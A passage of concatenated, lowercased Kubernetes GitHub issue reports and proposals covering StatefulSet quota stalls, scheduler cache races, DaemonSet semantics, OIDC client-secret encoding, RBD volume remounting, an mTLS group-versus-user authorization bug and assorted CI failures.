memory.available<200mi,nodefs.available<12%,nodefs.inodesfree<7%,imagefs.available<12%,imagefs.inodesfree<12%\  \\\r     --eviction-soft-grace-period=\ memory.available=5m,nodefs.available=5m,nodefs.inodesfree=5m,imagefs.available=5m,imagefs.inodesfree=5m\  \\\r     --eviction-max-pod-grace-period=60 \\\r     --eviction-hard=\ memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%,imagefs.available<10%,imagefs.inodesfree<10%\  \\\r     --v=2\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r bare matal\r - os  e.g. from /etc/os-release :\r ubuntu 14.04 lts\r - kernel  e.g.  uname -a  :\r linux dev-k8s-controller-p1 4.4.0-53-generic  74~14.04.1-ubuntu smp fri dec 2 03:43:31 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - others:\r calico version: v2.6.1\r docker: 1.12.6\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r statefulset cluster does not complete deployment\r \r   what you expected to happen  :\r statefulset cluster to roll out successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r  - quota set up on a namespace with a hard limit of 300m cpu  and 3900mi memory .\r  - apply the following minimal statefulset:\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: somename\r   namespace: somenamespace\r spec:\r   servicename: \ someservice\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: somename\r       annotations:\r     spec:\r       terminationgraceperiodseconds: 30\r       containers:\r       - name: someservice\r         image: alpine:3.6 \r         command:\r         - /bin/sh\r         - -c\r         - |\r           echo \ do nothing\ \r           while true; do\r             sleep 1\r           done\r         resources:\r           requests:\r             cpu: 100m\r             memory: 1300mi\r           limits:\r             memory: 1300mi\r    \r  - sometimes this rolls out successfully, but most times it will stop after the first or second pod and send out the following event: \r    \r forbidden: exceeded quota: quota, requested: requests.cpu=100m, used: requests.cpu=300m, limited: requests.cpu=300m\r    \r \r   anything else we need to know?  :\r  - it seems that this can be manually fixed by deleting one of the pods; the deployment then continues with reclaimed resources.\r  -  --show-all  does not show any extra pods using resources.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : reproduced with  1.6.9  and  1.7.8 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r /etc   cat os-release\r name=\ alpine linux\ \r id=alpine\r version_id=3.6.2\r pretty_name=\ alpine linux v3.6\ \r home_url=\ http://alpinelinux.org\ \r bug_report_url=\ http://bugs.alpinelinux.org\ \r    \r - kernel  e.g.  uname -a  :  /   uname -a\r linux kafka-0 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 linux \r - install tools: custom ansible\r - others:\r

currently liveness/readiness probe only support http/tls, but not mtls, which blocks us from using this feature for mtls services. \r \r we should provide option to let kubelet send client cert to services.

the addon fluentd-elasticsearch could collect log,why?\r ! image  https://user-images.githubusercontent.com/13093730/41590913-cde78e78-73ea-11e8-9ca9-dab19818ee5d.png \r \r the index patterns  logstash-  and    all no have result show  after i run myowner test kubernetes example.\r \r \r \r   version  \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-scheduling-bugs \r \r   what happened  :\r in https://github.com/kubernetes/kubernetes/pull/67556, i am adding some new test cases with pod affinity and anti-affinity, and am seeing flaky test failures.\r \r debugging further, i see the following sequence of events from the test:\r 0. pod a and pod b have anti-affinity to each other using hostname topologykey.\r 1. pod a goes through the predicates successfully, fails during the volume assume  before pod assume \r 2. pod b goes through the predicates successfully, goes through pod assume and successfully binds to nodea.\r 3. pod a starts going through the scheduler again, it skips the podaffinity predicate and uses the ecache value, which is true for all nodes.\r 4. pod a gets bound to nodea, violating the pod anti-affinity policy.\r \r   what you expected to happen  :\r podaffinity predicate should be invalidated after pod b is assumed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r from the pr, run repeatedly until failure:\r    \r make test-integration what=./test/integration/scheduler goflags=\ -v\  kube_test_args=\ -race -run ^testvolumebindingwith\ \r    \r it takes ~20 iterations to flake.  i added extra log statements in the podaffinity predicate to determine that the predicate was not being called on the second run.\r \r edit: i updated the pr to disable the ecache for the test.  to reproduce, you'll have to modify the test to enable ecache again.

we would like to modify the e2e-tests to quickly determine: 1. measure how fast can an hpa adjust to a burst in traffic, and to what density via configuration parameters vs. magic numbers.  2. test for  n  overlapping hpa  lifecycles for g generations  in parallel, with random  r  replica sizes.  /cc @jayunit100 @directxman12 @piosz @wojtek-t

jenkins should never time out that suite; the timeout should be baked into the test.  http://kubekins.dls.corp.google.com/job/kubernetes-upgrade-gke-1.1-master-step5-upgrade-cluster/449/

this is a tracking issue.  https://github.com/coreos/etcd/issues/860

motivation  currently the only data sent to the imagepolicy webhook backend is the image name or digest, and a subset of the pod annotations  matching   .image-policy.k8s.io/   . there are a number of cases where a webhook backend will need to authenticate itself with other services - in these cases it would be nice to store those secrets in kubernetes and send them to the backend when needed.   proposal  any pod annotations with keys that match   .image-policy.k8s.io/secret/   will be treated as references to secrets  the value will be ignored . the secrets api will be queried for secrets that match the annotation key exactly. if found, the value of the annotation will be populated with the actual secret, which will then be included in the request to the webhook backend.  note that this means that only secrets explicitly labelled for use in the webhook backend will ever be used, since they must match   .image-policy.k8s.io/secret/  . this proposal does not allow arbitrary secrets to be sent to the backend.  no changes are required to any apis.    alternate solutions  there are a couple of alternate solutions: - secrets could be encoded directly in a pod annotation and be sent to the backend without any changes to kubernetes. this is not ideal because it couples the lifetime of the secret to that of the pod, unlike kubernetes secrets. it also means that anyone with the pod spec also has the secrets. - it could be the responsibility of the user to associate secrets with images directly in the webhook backend. this is not ideal because it creates two separate secret management systems.  pinging @q-lee @deads2k

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41821/pull-kubernetes-e2e-gce-gci/18767/\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:797\r feb 22 06:52:17.446: failed to find 1 current in replicas:\t0 current / 1 desired\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1567\r    \r \r replica set controller maybe?\r \r @kargakis \r

is this a bug report or feature request?  :\r  \r   what happened  :\r hack/verify-staging-godeps.sh fails when user need a proxy to access the internet\r    \r  fujitsu@localhost kubernetes $ hack/verify-staging-godeps.sh \r +++  0801 10:05:00  verifying prerequisites....\r +++  0801 10:05:01  building docker image kube-build:build-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping container kube-build-data-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  keeping image kube-build:build-4593fd7977-5-v1.8.3-2\r +++  0801 10:05:50  keeping image kube-build:build-8e76c4d167-5-v1.8.3-2\r +++  0801 10:05:50  syncing sources to container\r +++  0801 10:05:50  stopping any currently running rsyncd container\r +++  0801 10:05:50  starting rsyncd container\r +++  0801 10:05:56  running rsync\r +++  0801 10:06:06  stopping any currently running rsyncd container\r +++  0801 10:06:09  running build command...\r !!!  0731 22:06:19  call tree:\r !!!  0731 22:06:19   1: hack/update-staging-godeps-dockerized.sh:57 kube::util::ensure_godep_version ... \r !!!  0801 10:06:19  call tree:\r !!!  0801 10:06:19   1: /home/fujitsu/go/src/k8s.io/kubernetes/build/../build/common.sh:520 kube::build::run_build_command_ex ... \r !!!  0801 10:06:19   2: /home/fujitsu/go/src/k8s.io/kubernetes/build/run.sh:30 kube::build::run_build_command ... \r    \r related:\r https://github.com/kubernetes/kubernetes/pull/46193 issuecomment-318597863\r \r \r cc @cblecker \r

extracted from a long discussion in https://github.com/kubernetes/community/pull/977\r \r briefly:\r \r 1. daemonsets intend to give at-most-one semantics to reduce confusion and make them easier to reason about for new users\r 2. daemonsets are not currently implemented in a way that guarantees at-most-one  controller failure and a slow pod cache can result in two pods scheduled on a node , which means users that do not provide defensive measures may experience data corruption in the worst case\r 3. in general, we  as a project  try to avoid giving the impression of at-most-one if we don't offer it\r 4. it should be possible to have at-least-one semantics for daemonsets for ha rolling upgrades - probably as a spec field on daemonset that weakens the guarantee at user request  opt-in acknowledgement of behavior \r \r we need to verify that the solutions to the current at-most-one gaps would not implicitly break the api guarantees in order to make daemonsets v1.\r \r explanation of scenarios leading to multiple pods:\r \r 1. new node added at rv=9\r 2. daemonset adds pod to node at rv=10\r 3. controller process crashes and is restarted\r 4. new controller reads initial cache state from server, but api server has not yet processed the pod creation into its cache  so state of pod cache is rv=9 \r 5. controller performs pod list, sees no pod, creates a new one\r \r another scenario is when the controller loses its lease - there can be two controllers running on the cluster, and the second controller gets a slightly lagging pod cache.  design wise we have to assume that controller caches can be arbitrarily delayed and no process state may be present for those caches.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce-last-release/1935 failed:\r \r    \r w1115 11:36:44.041  ...creating firewall...\r w1115 11:36:45.365  ......failed.\r w1115 11:36:45.366  error:  gcloud.compute.firewall-rules.create  could not fetch resource:\r w1115 11:36:45.367   - operation was canceled by user ''.\r w1115 11:36:45.367  \r w1115 11:36:48.904  .............failed.\r w1115 11:36:48.905  error:  gcloud.compute.firewall-rules.create  could not fetch resource:\r w1115 11:36:48.905   - operation was canceled by user ''.\r w1115 11:36:48.905  \r w1115 11:36:49.671  ...failed.\r w1115 11:36:49.672  error:  gcloud.compute.firewall-rules.create  could not fetch resource:\r w1115 11:36:49.673   - operation was canceled by user ''.\r w1115 11:36:49.673  \r i1115 11:36:49.773  name                        network         direction  priority  allow              deny\r i1115 11:36:49.774  kubemark-5-old-master-etcd  kubemark-5-old  ingress    1000      tcp:2380,tcp:2381\r i1115 11:36:49.774  generate peer certificates...\r i1115 11:36:49.774  +++ logging using fluentd to gcp\r w1115 11:36:51.118  ...failed.\r w1115 11:36:51.119  error:  gcloud.compute.firewall-rules.create  could not fetch resource:\r w1115 11:36:51.119   - operation was canceled by user ''.\r w1115 11:36:51.119  \r w1115 11:36:54.604  ...created  https://www.googleapis.com/compute/v1/projects/k8s-jenkins-kubemark/global/firewalls/kubemark-5-old-minion-all .\r w1115 11:36:54.677  done.\r i1115 11:36:55.061  name                       network         direction  priority  allow                     deny\r i1115 11:36:55.062  kubemark-5-old-minion-all  kubemark-5-old  ingress    1000      tcp,udp,icmp,esp,ah,sctp\r w1115 11:37:01.764  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 11:37:01.764  created  https://www.googleapis.com/compute/v1/projects/k8s-jenkins-kubemark/zones/us-central1-f/instances/kubemark-5-old-master .\r w1115 11:37:01.765  name                   zone           machine_type   preemptible  internal_ip  external_ip    status\r w1115 11:37:01.765  kubemark-5-old-master  us-central1-f  n1-standard-1               10.128.0.2   35.193.145.58  running\r w1115 11:37:01.765  \u001b 0;31msome commands failed.\u001b 0m\r

\r kubernetes version:1.6\r os:centos 7.2\r kernel: linux szd-l0081977 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r install tools:binary  systemd\r    \r \r    \r dec 15 14:14:10 szd-l0081979 kubelet 26574 : flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a \r future version.\r dec 15 14:14:10 szd-l0081979 kubelet 26574 : i1215 14:14:10.547323   26574 feature_gate.go:144  feature gates: map  \r dec 15 14:14:10 szd-l0081979 kubelet 26574 : error: failed to run kubelet: cannot create certificate signing request: user \ system:a\r nonymous\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope.  post certificatesigningrequests.certif\r icates.k8s.io \r dec 15 14:14:10 szd-l0081979 systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r dec 15 14:14:10 szd-l0081979 systemd 1 : unit kubelet.service entered failed state.\r dec 15 14:14:10 szd-l0081979 systemd 1 : kubelet.service failed.\r dec 15 14:14:10 szd-l0081979 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r dec 15 14:14:10 szd-l0081979 systemd 1 : started kubernetes kubelet server.\r -- subject: unit kubelet.service has finished start-up\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r fake client doesn't have a support for paging when invoking  list .\r \r  https://github.com/yue9944882/kubernetes/blob/3837a7402a9f58acc1f911bfe6b418d39ed056e2/staging/src/k8s.io/code-generator/cmd/client-gen/generators/fake/generator_fake_for_type.go l348  https://github.com/yue9944882/kubernetes/blob/3837a7402a9f58acc1f911bfe6b418d39ed056e2/staging/src/k8s.io/code-generator/cmd/client-gen/generators/fake/generator_fake_for_type.go l348 \r \r  limit  and  continue  fields in listoption is simply ignored, so the paging won't be working. supporting paging will make it easy to test  pager  https://github.com/yue9944882/kubernetes/blob/3837a7402a9f58acc1f911bfe6b418d39ed056e2/staging/src/k8s.io/client-go/tools/pager/pager.go  related utilities.\r \r   what you expected to happen  :\r \r paging on fake client. it would be better with multi-thread support.\r \r   anything else we need to know?  :\r \r supporting multi-thread paging needs the  list  know if itself is invoked from a different context / go-routine at first. things can be rather more complicated when we try to judge contexts from the fake client. and this also applies to all the other functionalities of fake client needs multi-thread support.\r \r \r   \r   \r

  \r   what happened  :\r when using mtls authentication, the cn is mapped to the username and the ou is mapped to the group. the standard method for delegating the authority to create users within an ou is to use intermediate certificates  see https://joejulian.name/post/vault-pki-for-kubernetes/ for an example . if the intermediate certificate authority creates a certificate within its ou with a username that has cluster role bindings  eg admin , that user is not restricted to roles allowed by the group and is, instead, authorized as just that user. this allows a sub-authority to gain admin privileges to the entire cluster.\r \r   what you expected to happen  :\r group role, when specified, should take precedence over user roles.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see https://joejulian.name/post/vault-pki-for-kubernetes/ for the steps needed to create an ou assigned user.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r

this test is failing for 1.9 branch and blocking the 1.9.10 release.\r \r dashboard link: https://k8s-testgrid.appspot.com/sig-release-1.9-blocking soak-gci-gce-1.9\r \r example failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-stable2/560\r \r log:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/monitoring/influxdb.go:45\r jul 29 14:01:40.887: monitoring using heapster and influxdb test failed\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/monitoring/influxdb.go:308\r    \r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r statefulset pod is stuck in terminating status forever when kubelet starts. \r \r    \r   kubectl get po                                                                                                                                                                                                               \r name      ready     status        restarts   age\r web-0     0/1       terminating   0          19h\r    \r \r the pod has mounted eight rbd provisioned pvc and found one mount point on host.\r \r    \r   lsblk | grep rbd                                                                                                                                                                                                             \r rbd4            247:0    0    3g  0 disk /var/lib/kubelet/pods/e792857c-0feb-11e9-a699-5254009aa08c/volumes/kubernetes.io~rbd/pvc-abfc218a-0fea-11e9-a699-5254009aa08c\r   mount | grep rbd                                                                                                                                                                                                             \r /dev/rbd4 on /var/lib/kubelet/plugins/kubernetes.io/rbd/mounts/rbd-image-kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202 type ext4  rw,relatime,seclabel,stripe=1024,data=ordered \r /dev/rbd4 on /var/lib/kubelet/pods/e792857c-0feb-11e9-a699-5254009aa08c/volumes/kubernetes.io~rbd/pvc-abfc218a-0fea-11e9-a699-5254009aa08c type ext4  rw,relatime,seclabel,stripe=1024,data=ordered \r    \r \r related pvc operation in kubelet log  verbose=0  is:\r    \r jan  5 09:53:41 kube-2 kubelet: i0105 09:53:41.741107   32375 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\  \r jan  5 09:53:41 kube-2 kubelet: e0105 09:53:41.741357   32375 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\ \  failed. no retries permitted until 2019-01-05 09:53:42.241324113 +0800 cst m=+7.511746928  durationbeforeretry 500ms . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\   pod \\\ web-0\\\   uid: \\\ e792857c-0feb-11e9-a699-5254009aa08c\\\   \ \r jan  5 09:53:42 kube-2 kubelet: i0105 09:53:42.244663   32375 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\  \r jan  5 09:53:42 kube-2 kubelet: e0105 09:53:42.244819   32375 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\ \  failed. no retries permitted until 2019-01-05 09:53:43.244778007 +0800 cst m=+8.515200839  durationbeforeretry 1s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\   pod \\\ web-0\\\   uid: \\\ e792857c-0feb-11e9-a699-5254009aa08c\\\   \ \r jan  5 09:53:43 kube-2 kubelet: i0105 09:53:43.249960   32375 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\  \r jan  5 09:53:43 kube-2 kubelet: e0105 09:53:43.250127   32375 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\ \  failed. no retries permitted until 2019-01-05 09:53:45.250091131 +0800 cst m=+10.520513958  durationbeforeretry 2s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\   pod \\\ web-0\\\   uid: \\\ e792857c-0feb-11e9-a699-5254009aa08c\\\   \ \r jan  5 09:53:45 kube-2 kubelet: i0105 09:53:45.258766   32375 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\  \r jan  5 09:53:45 kube-2 kubelet: e0105 09:53:45.258950   32375 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\ \  failed. no retries permitted until 2019-01-05 09:53:49.258910252 +0800 cst m=+14.529333084  durationbeforeretry 4s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\\\   pod \\\ web-0\\\   uid: \\\ e792857c-0feb-11e9-a699-5254009aa08c\\\   \ \r jan  5 09:53:49 kube-2 kubelet: i0105 09:53:49.476478   32375 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\  \r jan  5 09:53:50 kube-2 kubelet: i0105 09:53:50.480447   32375 operation_generator.go:1170  controller attach succeeded for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   pod \ web-0\   uid: \ e792857c-0feb-11e9-a699-5254009aa08c\   device path: \ \ \r jan  5 09:53:53 kube-2 kubelet: i0105 09:53:53.978768   32375 reconciler.go:285  volume detached for volume \ pvc-abfc218a-0fea-11e9-a699-5254009aa08c\   uniquename: \ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-b04a8337-0fea-11e9-b1d2-0a580af40202\   on node \ kube-2\  devicepath \ \ \r    \r \r   what you expected to happen  :\r pod's status changes from unknown -> terminating -> running. \r all pvc should be successfully remounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it is not easy to reproduce, so i mount eight pvc to increase the possibility to reproduce.\r \r the step is:\r \r 1. stop kubelet on node where statefulset pod located.\r 2. after 5 minutes, pods go to unknown or nodelost status\r 3. start kubelet and check the mount points on node. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.10\ , gitcommit:\ be1a908c6aa47e0ae1b1dc861a1de6ccfe963aa2\ , gittreestate:\ clean\ , builddate:\ 2018-11-13t11:45:32z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.12\ , gitcommit:\ c757b93cf034d49af3a3b8ecee3b9639a7a11df7\ , gittreestate:\ clean\ , builddate:\ 2018-12-19t11:04:29z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux kube-2 3.10.0-862.14.4.el7.x86_64  1 smp wed sep 26 15:12:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r kubeadm\r    \r - others:\r \r <!-- do not edit below this line -->\r 

what happened  \r \r using openid connect as an authentication provider with a client-secret that contains a special character like the  +  sign leads to refresh tokens not working because  kubectl  doesn't url encode the client-secret before base64-encoding the basic auth header.\r \r   what you expected to happen  \r \r  kubectl  should url encode the client-secret as per the oauth2 spec.\r \r   how to reproduce it  as minimally and precisely as possible   \r \r set up an oidc auth with a  +  in the client secret.\r \r   environment  \r - kubernetes version  use  kubectl version  : all versions have this bug.\r \r   discussion  \r \r i first filed this against go  golang/go 31577  but it turns out that the url encoding is only specified for oauth2, not in the general case.\r \r before calling   req.setbasicauth user, pass    https://golang.org/pkg/net/http/ request.setbasicauth  the arguments must be url encoded.\r \r see go's own oauth2 implementation, which had this same bug until golang/oauth2 237 fixed it.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r after setting hostnetwork: false for nodelocaldns it stopped working  livenessprob keeps failing \r \r   what you expected to happen  :\r be able to use nodelocaldns without occuping port 53 already used by my dns server\r \r   how to reproduce it  as minimally and precisely as possible   :\r set hostnetwork: false in config\r  i'm using coredns but it shouldn't make a difference \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r bare metal:  1 test server  intel r  xeon r  cpu e3-1230 v3 @ 3.30ghz, 8 cores 32 go of ram\r - os  e.g:  cat /etc/os-release  : centos 7\r - kernel  e.g.  uname -a  :  4.20.14-100.fc28.x86_64 \r - install tools: kubespray\r - network plugin and version  if this is a network-related bug : flannel\r - others:\r

https://github.com/kubernetes/kubernetes/issues/19118 issuecomment-172102534 refers.  i think that we should potentially have a mechanism in place for quarantining nodes that fail often/repeatedly. we will of course need to be careful of \ poisoned pods\  which, when launched on a node, cause it to fail often and get quarantined. if the poison pod then gets rescheduled to another node in the cluster, eventually all nodes could become quarantined. that would be very bad. but repeated hardware or system problems on a node should ultimately cause pods not to scheduled there, somehow, safely.  a good approach might be to use a basic    kubernetes/docs/devel/scheduler.md . for example, keep a sliding window not ready count per node  how many times a node has gone not ready in a given time window , and add a  to put nodes with high not ready counts at the bottom of the list when selecting nodes. that works around the poisoned pod problem outlined above, as we wouldn't actually lose real capacity by hard quarantining nodes. only probabalistically avoid scheduling onto more flaky nodes. i think that's both simple and effective. unless @mml or @davidopp have better ideas, i think that we should add this feature to the backlog.

